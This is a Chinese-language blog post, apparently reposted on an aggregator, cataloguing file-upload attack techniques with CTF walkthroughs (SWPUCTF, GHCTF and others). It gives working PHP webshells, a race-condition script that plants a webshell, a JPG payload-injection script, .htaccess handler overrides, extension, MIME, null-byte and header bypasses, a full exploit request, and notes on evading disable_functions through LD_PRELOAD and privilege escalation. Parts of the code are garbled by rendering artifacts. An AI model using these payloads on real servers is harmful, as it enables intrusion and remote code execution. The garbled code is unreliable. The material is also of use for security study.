当前位置: 首页 > news >正文

文件上传总结

攻击与绕过方式
一、条件竞争
攻击原理:在上传文件的同时利用代码逻辑中的时序问题(如 unlink() 删除操作)触发条件竞争,从而实现上传恶意文件并绕过限制。
示例测试源码:
以下为测试文件上传功能的 PHP 源码:

<?php if (!empty($_FILES)) { move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']); unlink($_FILES['file']['name']); echo "upload fail"; } ?> 木马文件内容: 新建一个php木马名为jignzheng.php,内容如下: <?php fputs(fopen('jz.php','w'),'<?php @eval($_REQUEST[1])?>'); ?> 这个马的作用是创建一个名为jz.php的文件,并将一句话木马写入。 攻击脚本: 编写以下 Python 脚本,通过条件竞争的方式,不断访问目标的 jingzhing.php 文件,以触发条件竞争,当用户通过http请求访问.php文件时,web服务器会将该文件传给php解析器解析并执行文件中的代码,将jz.php一句话木马写入到目标目录中: import requests url="http://192.168.1.11/jingzheng/jingzheng.php" check_file="http://192.168.1.11/jingzheng/jz.php" while True: response = requests.get(url) check_response=requests.get(check_file) if check_response.status_code==200: print("success") 使用流程: 先运行python脚本,然后再上传zhengjign.php木马利用Bp中的intruder模块进行条件竞争。之后可以看到同目录下会不断地短暂出现上传的木马jingzheng.php,并且jz.php成功写入。

二、二次渲染结合文件包含绕过
攻击原理:利用图片格式的二次渲染漏洞配合文件包含漏洞解析 PHP 木马代码
1、gif
渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

2、png
PNG需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

3、jpg
JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试
脚本如下:

<?php $miniPayload = "\<?php eval(\$_REQUEST[1]);?>";

if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
die(‘php-gd is not installed’);
}
if(!isset($argv[1])) {
die(‘php jpg_payload.php <jpg_name.jpg>’);
}

set_error_handler(“custom_error_handler”);

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
d i s = n e w D a t a I n p u t S t r e a m ( dis = new DataInputStream( dis=newDataInputStream(argv[1]);
o u t S t r e a m = f i l e g e t c o n t e n t s ( outStream = file_get_contents( outStream=filegetcontents(argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');
}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}
}

}
unlink(‘payload_’.$argv[1]);
die(‘Something’s wrong’);

function checkImage($filename, $data, $unlink = FALSE) {
global c o r r e c t I m a g e ; f i l e p u t c o n t e n t s ( correctImage; file_put_contents( correctImage;fileputcontents(filename, $data);
c o r r e c t I m a g e = T R U E ; i m a g e c r e a t e f r o m j p e g ( correctImage = TRUE; imagecreatefromjpeg( correctImage=TRUE;imagecreatefromjpeg(filename);
if( u n l i n k ) u n l i n k ( unlink) unlink( unlink)unlink(filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(isset(m[1])) {
e x t r a B y t e s = ( i n t ) extraBytes = (int) extraBytes=(int)m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);
}public function seek() {return ($this->size - strlen($this->binData));
}public function skip($skip) {$this->binData = substr($this->binData, $skip);
}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);
}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;
}public function eof() {return !$this->binData||(strlen($this->binData) === 0);
}

}
?>
将脚本保存为jpg_payload.php,使用命令:php jpg_payload.php jpg_name.jpg

二次渲染木马使用方法:
配合文件包含,利用文件包含漏洞解析图片马中的php代码,获取webshell
以upload-labs第17关为例,随便上传一个二次渲染的图片,然后利用include.php中的文件包含漏洞。
使用蚁剑进行连接即可:
http://192.168.1.11/upload-labs-master/include.php?file=upload/27740.gif

三、.htaccess解析绕过
攻击原理:.htaccess 是 Apache HTTP 服务器的配置文件,作用范围通常是其所在目录及子目录。它可以用来控制访问权限、重定向规则、URL 重写、MIME 类型设置等。
攻击者可以通过上传 .htaccess 文件,修改服务器的默认行为,来绕过限制、执行恶意代码或访问敏感资源。

将特定后缀文件解析成php,这里将.jpg后缀文件强制解析成php脚本
AddType application/x-httpd-php .jpg

<FilesMatch “jpg”>

SetHandler application/x-httpd-php

将所有文件解析为 PHP
ForceType application/x-httpd-php
然后再上传一个jpg后缀的木马就可以了,蚁剑连接时候也是使用jpg结尾的文件。
有时候为了绕过,直接在内容头前面加GIF89a会报错500(出现语法错误)。
#define width 1
#define height 1
<FilesMatch “hey.hey”>
SetHandler application/x-httpd-php

四、文件后缀名绕过
1、文件特殊后缀名+大小写绕过
语言 默认可解析后缀 绕过方法(盲猜可解析后缀)
php .php .html .htm 【apache】 php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
asp.net 【IIS】 asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
jsp *.jsp *.jspx 【tomcat】 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
2、:: D A T A 绕过 : : DATA绕过 :: DATA绕过::DATA是NTFS流类型的一种
在windwos系统中,如果上传文件名为xxx.php:: D A T A ,会在服务器上生成一个 x x x . p h p 文件,其内容与上传的文件内容相同,并且会被解析。示例:利用 B p 抓包截断 h t t p 请求之后,在文件后缀名处添加 : : DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。 示例: 利用Bp抓包截断http请求之后,在文件后缀名处添加:: DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。示例:利用Bp抓包截断http请求之后,在文件后缀名处添加::DATA即可
3、双后缀名绕过
漏洞背景:文件上传的源代码过滤部分,会将文件名称中的敏感字符进行清除,但只做了一次过滤
示例:
利用Bp抓包截断http请求之后,a.php==>a.pphphp
4、点绕过
windows系统下,文件后缀名最后一个点会被自动去除
linux系统下,文化后缀名最后一个点不会被自动去除
所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传
例如: demo.php.
5、空格绕过
windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格,从而绕过

五、文件头绕过
攻击原理:在浏览器上传文件到服务器时白名单会对文件头进行检测,在上传的木马内容前面加上特定的文件头即可绕过前端验证
常用的图片文件头:
jpg FFD8FFE000104A464946 ÿØÿà…JFIF
png 89504E470D0A1A0A %PNG…
gif 474946383961 GIF89a
一般使用gif

六、短标签绕过
攻击原理:利用 PHP 短标签(<? 或 <?=)执行代码,需服务器支持短标签配置

<? @eval($_REQUEST['1']); ?>

<% echo “Hello, World!”; %> //需要在php.ini中开启asp_tags选项

七、MIME(Content-Type)绕过
攻击原理:HTTP协议规定上传资源时,需要在headers中加上MIMETYPE(Content-Type)来识别文件类型,通过修改该字段内容绕过检测

将Content-Type: application/octet-stream修改为Content-Type: image/jepg即可,如果限制其他文件类型,修改成对应的Mime类型即可
文件后缀 Mime类型 说明
.gif 或.png image/gif(image/png) GIF图形/PNG图片
.jpeg或.jpg image/jpeg JPEG图形
.txt text/plain 普通文本
.exe application/octet-stream 下载文件类型

八、00截断
攻击原理:无论是0x00还是%00最终都会被解析成chr(0) 而0对于的字符是NULL,即空字符。当一个字符串中存在空字符时,空字符后面的字符会被丢弃(即终止读取)。
例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php
使用:
1、在上传文件后缀名的地方使用%00绕过前端验证:1.php==>1.php%00.jpg
2、在文件路径处使用%00绕过后端验证:uploads/==>uploads/xxx.php%00

九、垃圾字符绕过
攻击原理:在上传的数据中添加大量无用字符进行绕过检测逻辑

或者在参数中添加大量无用字符进行参数污染绕过

十、中间件解析漏洞
1、IIS解析漏洞
在IIS6版本中,当攻击者访问http://www.test.com/bitsec.php/xxx.jpg这样的url时,服务器会默认将PHP目录下的文件解析为php文件。因此虽然文件后缀为jpg,但依然会被作为PHP执行。
在IIS5和IIS6版本中,当攻击者访问http://www.test.com/bitsec.php;.jpg这样的url时,服务器会默认不解析“;”后面的内容,因此bitsec.php;.jpg就被作为bitsec.php解析执行。
2、Apache解析漏洞
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。
3、Nginx解析漏洞
在Nginx 0.8.41到1.5.6的版本中,攻击者可以利用多种方式解析文件。攻击者正常访问http://www.test.com/image/bitsec.jpg时,会正常显示图片。但是当攻击者通过下面的方式进行访问时,就被解析为PHP文件。
http://www.test.com/image/bitsec.jpg/bitsec.php (目录解析)
http://www.test.com/image/bitsec.jpg%00.php (截断解析)
http://www.test.com/image/bitsec.jpg%20\0.php (截断解析)

十一、构造绕过
??_x0010_JFIF

<?=$a='sys';$b='tem';$funcName=$a.$b;$x='funcName';$$x($_REQUEST[1]);?>

十二、Content-Disposition绕过
攻击原理:Content-Disposition是HTTP协议中的一个头部字段,用来描述内容是直接展示还是以附件的形式下载,通过修改该字段影响服务器对文件的解析。
格式:
Content-Disposition: disposition-type; parameter1=value1; parameter2=value2
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
绕过思路:
● 将form-data改为~form-data
Content-Disposition: ~form-data; name=“uploaded”; filename=“muma.php”
● 替换大小写
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
Content-Type: application/octet-stream
将Content-Disposition、form-data、Content-Type中的字母进行大小写替换
● 增减空格
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name=“file”; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
将Content-Disposition修改为 Content- Disposition -后面加空格
● 字符串拼接
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
将 form-data 修改为 f+orm-d+ata
● 利用HTTP headers属性名绕过
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png
C.php”
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.
● 利用HTTP headers属性值绕过
Content-Disposition: form-data; name=“uploaded”; filename=“muma.php”
将form-data 替换为 * 来绕过
Content-Disposition: *; name=“uploaded”; filename=“muma.php”
● 等效替换
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
在boundary后面加入空格即可
● 增减回车
原内容:
Content-Disposition: form-data; name=“up_picture”; filename=“muma.php”
添加回车
Content-Disposition: form-data; name=“up_picture”; filename=“muma.php”
十三、突破突破大小限制(getimagesize)
.htaccess
#define width 1
#define height 1
<FilesMatch “hey.hey”>
SetHandler application/x-httpd-php

hey.hey
#define width 1
#define height 1

<?php eval($_REQUEST[1]);?>

题目练习
[SWPUCTF 2021 新生赛]easyupload1.0
MIME(Content-Type)绕过
限制了Content-Type,修改为Content-Type: image/jpeg即可
写入的一句话木马

<?php @eval($_REQUEST['1']);?>

获取flag:
查看phpinfo中的环境变量,这里使用蚁剑连接查找里面的flag是假的

[SWPUCTF 2021 新生赛]easyupload2.0
文件后缀名绕过
限制了文件后缀名,将.php后缀修改为.pht、.phtm、.phtml等都可以绕过
一句话木马同上,然后使用蚁剑进行连接
[SWPUCTF 2021 新生赛]easyupload3.0
.htaccess绕过
上传一个.htaccess
<FilesMatch “jpg”>

SetHandler application/x-httpd-php

再上传一个.jpg后缀的木马之后连接即可。

[强网杯 2019]upload
蜀道山2024奶龙牌WAF
添加大量垃圾字符绕过
给了源码

<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) { $file = $_FILES['upload_file']; if ($file['error'] === UPLOAD_ERR_OK) { $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']); $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) { die("不允许上传此类文件!"); } if ($file['size'] > 2 * 1024 * 1024) { die("文件大小超过限制!"); } $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000); $dangerous_patterns = [ '/<\?php/i', '/<\?=/', '/<\?xml/', '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i', '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i', '/--\s/', '/\/\*\s.*\*\//', '/#/', '/

} else {
?>




你能逃出奶龙的WAF吗?











<?php } ?>

漏洞利用点1:
n a m e = i s s e t ( name = isset( name=isset(_GET[‘name’]) ? G E T [ ′ n a m e ′ ] : b a s e n a m e ( _GET['name'] : basename( GET[name]:basename(file[‘name’]);
f i l e E x t e n s i o n = s t r t o l o w e r ( p a t h i n f o ( fileExtension = strtolower(pathinfo( fileExtension=strtolower(pathinfo(name, PATHINFO_EXTENSION));

    if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {die("不允许上传此类文件!");}

这段代码获取文件的拓展名,并过滤了ph和hta。
这里可以思考一下让拓展名往后移,例如:1.php.abc

漏洞利用点2:
if (move_uploaded_file($_FILES[‘upload_file’][‘tmp_name’], $new_file_name)) {
echo “文件上传成功!”;
}
move_uploaded_file函数是php的一个内置函数,用于将上传的文件从临时目录移动到指定的目录中。
当move_uploaded_file函数的参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.
因此可以构造save_path=1.php/. 这样file_text的值为空,就可以绕过黑名单,并且move_uploaded_file函数会忽略掉文件末尾的/. 实现保存文件为1.php

绕过方式:
f i l e c o n t e n t = f i l e g e t c o n t e n t s ( file_content = file_get_contents( filecontent=filegetcontents(file[‘tmp_name’], false, null, 0, 5000);
因为只读取前5000字节进行校验,可以在一句话木马前面加上脏数据
foreach ($dangerous_patterns as KaTeX parse error: Expected '}', got 'EOF' at end of input: …if (preg_match(pattern, $file_content)) {
die(“内容包含危险字符,上传被奶龙拦截!”);
}
}
这里的preg_match函数也可以使用PCRE回溯次数限制来绕过
并且注意文件名称由下面这段代码决定
n a m e = i s s e t ( name = isset( name=isset(_GET[‘name’]) ? G E T [ ′ n a m e ′ ] : b a s e n a m e ( _GET['name'] : basename( GET[name]:basename(file[‘name’]);
payload数据包:
POST /?name=1.php/. HTTP/1.1
Host: gz.imxbt.cn:20116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------3963895074739992901366514230
Content-Length: 5770
Origin: http://gz.imxbt.cn:20116
Connection: close
Referer: http://gz.imxbt.cn:20116/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------3963895074739992901366514230
Content-Disposition: form-data; name=“upload_file”; filename=“1.php/.”
Content-Type: application/octet-stream

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

<?php @eval($_REQUEST['1']);?>

-----------------------------3963895074739992901366514230–

[GHCTF 2024 新生赛]PermissionDenied(file_put_contents文件解析漏洞、SUID提权)

<?php function blacklist($file){ $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini"); $ext = pathinfo($file, PATHINFO_EXTENSION); foreach ($deny_ext as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $filecontent = file_get_contents($_FILES['file']['tmp_name']); if(blacklist($filename)){ file_put_contents($filename, $filecontent); echo "Success!!!"; } else { echo "Hacker!!!"; } } else{ highlight_file(__FILE__); } 代码解析 pathinfo(string $path, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME) pathinfo函数第一个参数比填,第二个参数可选,如果不填,默认全部返回(目录名、文件名、文件拓展名、不包含拓展名的文件名) 这里返回的是文件拓展名 第一段代码的作用就是黑名单过滤文件拓展名。 第二段代码中,file_put_contents($filename, $filecontent);这两个参数都可控。 由于第一个参数是文件路径,当上传一个名为b.php/.的文件时,这个函数会认为是在b.php这个文件所在的目录下创建一个名为.的文件,但最终上传的是b.php文件。 先创建一个a.php,作为要写入的马。(连shell和看phpinfo) <?php eval($_REQUEST[1]);phpinfo(); ?>

接下来使用python脚本传入文件
import requests

url = “http://node6.anna.nssctf.cn:21549/”
file = {
“file”: (“b.php%2f.”, open(‘a.php’, ‘rb’))
}
res = requests.post(url=url, files=file)
print(res.text)
接下来蚁剑连接b.php。
在根目录发现flag,但是权限为0740,无法查看

接下来想办法提权。在终端输入了一些命令发现都回显ret=127
查看phpinfo里面的disable_function,发现过滤了很多。

这里用到了LD_PRELOAD这个系统的环境变量,它允许你加载别的动态链接库,甚至覆盖正常的函数库。
当拿到webshell,却发现无法执行系统命令,并且是disable_functions禁用了命令执行函数时,就可以通过环境变量LD_PRELOAD劫持系统函数,达到执行系统命令的目的

使用bypass_disablefunc_via_LD_PRELOAD进行绕过,发现/tmp有777权限,将bypass_disablefunc_x64.so传入,再将bypass_disablefunc.php传入/var/www/html中,就能进行命令执行。
或者这里使用蚁剑的插件,然后进行SUID提权

相关文章:

  • 基于卡尔曼滤波的传感器融合技术的多传感器融合技术(附战场环境模拟可视化代码及应用说明)
  • MATLAB机器人系统工具箱中的loadrobot和importrobot
  • QMK键盘固件中LED锁定指示灯的配置与使用详解(实操部分+拓展)
  • AI 搜索引擎 MindSearch
  • Xubuntu系统详解
  • Java设计模式之适配器模式:从入门到精通
  • 利用散点图探索宇航员特征与太空任务之间的关系
  • TCPIP详解 卷1协议 十 用户数据报协议和IP分片
  • Python语言在地球科学交叉领域中的应用——从数据可视化到常见数据分析方法的使用【实例操作】
  • 本地文件查重管理工具EasyFileCount v3.0.5.1绿色版,支持查找大重复文件+自动分类
  • CentOS部署Collabora Online
  • SSRF相关
  • 互联网大厂Java面试实战:Spring Boot到微服务的技术问答解析
  • 利用D435i相机进行SLAM实现建图的关键环节-----Kalibr标定工具以及常见的问题调试
  • python实现usb热插拔检测(linux)
  • Webpack中Compiler详解以及自定义loader和plugin详解
  • 基于注意力机制与iRMB模块的YOLOv11改进模型—高效轻量目标检测新范式
  • 从零构建高性能桌面应用:GPUI Component全解析与实战指南
  • MYSQL 全量,增量备份与恢复
  • Hadoop的组成,HDFS架构,YARN架构概述
  • 王毅会见巴西外长维埃拉、总统首席特别顾问阿莫林
  • 学者纠错遭网暴,人民锐评:“饭圈”该走出畸形的怪圈了
  • 香港将展“天方奇毯”,从地毯珍品看伊斯兰艺术
  • 成就彼此,照亮世界:“中欧建交50周年论坛”在沪成功举行
  • 2025年4月份CPI环比由降转涨,核心CPI涨幅稳定
  • 三大猪企4月生猪销量同比均增长,销售均价同比小幅下降